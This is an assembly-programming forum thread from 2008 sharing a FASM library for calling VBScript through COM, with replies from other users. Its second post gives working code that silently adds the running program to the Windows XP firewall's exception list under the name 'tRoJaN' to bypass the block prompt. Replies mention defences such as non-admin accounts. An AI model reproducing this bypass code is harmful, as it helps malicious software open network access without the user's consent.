com library for activex-vbscript calling from assembly

Index > Projects and Ideas > com library for activex-vbscript calling from assembly

Author

Thread

asmhack

Joined: 01 Feb 2008
Posts: 431

asmhack 18 Feb 2008, 19:47

example code:

Code:

format pe gui 4.0 on 'nul'
entry @@entry
include 'win32a.inc'

section '' import data code writable readable executable

library kernel32,'kernel32',ole32,'ole32',user32,'user32'
import  kernel32,LocalAlloc,'LocalAlloc',LocalFree,'LocalFree',MultiByteToWideChar,'MultiByteToWideChar',WideCharToMultiByte,'WideCharToMultiByte'
import  ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID'
import  user32,MessageBox,'MessageBoxA'

include 'com.asm'

@@entry:
call @@StartScriptEngine
vbscall 'randomize : v = cstr(int(rnd*100)+1)'
stdcall [MessageBox],$0,eax,eax,$0
vbsfree
vbscall 'set w = createobject("wscript.shell")'
vbscall ':msgbox w.specialfolders("desktop"),,time'
vbscall ':set w = nothing'
xor esp,esp

Description:	component object model library for activex-vbscript calling from assembly flat assembler 1.6 syntax, x86-win32 version 1b (tested on x86-win32 xp sp2)	Download
Filename:	com.asm
Filesize:	14.06 KB
Downloaded:	1011 Time(s)

18 Feb 2008, 19:47

MHajduk

Joined: 30 Mar 2006
Posts: 6110
Location: Poland

MHajduk 18 Feb 2008, 20:02

Thanks.

It's only a pity that this piece of code wasn't published on this forum a year ago when I was searching implementation of COM for execution VBS scripts in FASM... Wink

However, I liked very much your idea of 'vbscall' macro. Smile

18 Feb 2008, 20:02

asmhack

Joined: 01 Feb 2008
Posts: 431

asmhack 19 Feb 2008, 14:20

thanks mhajduk,
using this shit can be very usefull sometimes Wink

here is another example that adds your program to windows xp sp2 firewall exception list, bypassing by this way the block prompt... Twisted Evil

Code:

format pe gui 4.0 on 'nul'
entry @@entry 
include 'win32a.inc' 

section '' import data code writable readable executable 

library kernel32,'kernel32',user32,'user32',ole32,'ole32'
include 'api/kernel32.inc'
include 'api/user32.inc'
import  ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID'

include 'com.asm'

xx1      db 'on error resume next',\
            ':set f  = createobject("hnetcfg.fwmgr")',\
            ':set a  = createobject("hnetcfg.fwauthorizedapplication")',\
            ':set p  = f.localpolicy.currentprofile',\
            ':a.name = "tRoJaN"',\
            ':a.processimagefilename="'
filename rb $100
xx2      db '":a.enabled = 1',\
            ':p.authorizedapplications.add a',$0

@@entry:

call @@StartScriptEngine
stdcall [GetModuleFileName],$0,filename,$FF
stdcall [lstrcat],filename,xx2

stdcall @@RunScript,xx1
stdcall [ExitProcess],$0

19 Feb 2008, 14:20

MHajduk

Joined: 30 Mar 2006
Posts: 6110
Location: Poland

MHajduk 19 Feb 2008, 15:03

Well, well... Smile

This could be another reason why we should use other, third-party, firewalls. Wink

19 Feb 2008, 15:03

f0dder

Joined: 19 Feb 2004
Posts: 3175
Location: Denmark

f0dder 19 Feb 2008, 16:16

MHajduk wrote:

Well, well...

This could be another reason why we should use other, third-party, firewalls.

Or just run from non-admin user accounts, duh. Rolling Eyes

Pretty lame going through vbscript just to set a firewall exception, but I guess it's easier than learning how to deal with the COM objects for doing so. Rolling Eyes

_________________

- carpe noctem

19 Feb 2008, 16:16

Picnic

Joined: 05 May 2007
Posts: 1378
Location: Piraeus, Greece

Picnic 09 Mar 2008, 21:57

Hey that's nice, thanks for the download asmhack.

_________________
Hobby BASIC Interpreter

09 Mar 2008, 21:57

bitRAKE

Joined: 21 Jul 2003
Posts: 3892
Location: vpcmipstrm

bitRAKE 10 Mar 2008, 00:57

I like your style - lots of good snippets lately.

_________________
¯\(°_o)/¯ “languages are not safe - uses can be” Bjarne Stroustrup

10 Mar 2008, 00:57

Xekep

Joined: 14 Sep 2014
Posts: 1

Xekep 28 Sep 2014, 14:56

help me please Sad

Code:

call @@StartScriptEngine 
vbscall 'randomize : v = cstr(int(rnd*100)+1)' 
stdcall [MessageBox],$0,eax,eax,$0

28 Sep 2014, 14:56

comrade

Joined: 16 Jun 2003
Posts: 1140
Location: Russian Federation

comrade 29 Sep 2014, 08:16

What is 'vbscall' ?

29 Sep 2014, 08:16

smiddy

Joined: 31 Oct 2004
Posts: 557

smiddy 29 Sep 2014, 09:48

Visual Basic Script? Call...

29 Sep 2014, 09:48

< Last Thread | Next Thread >

Forum Rules:

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum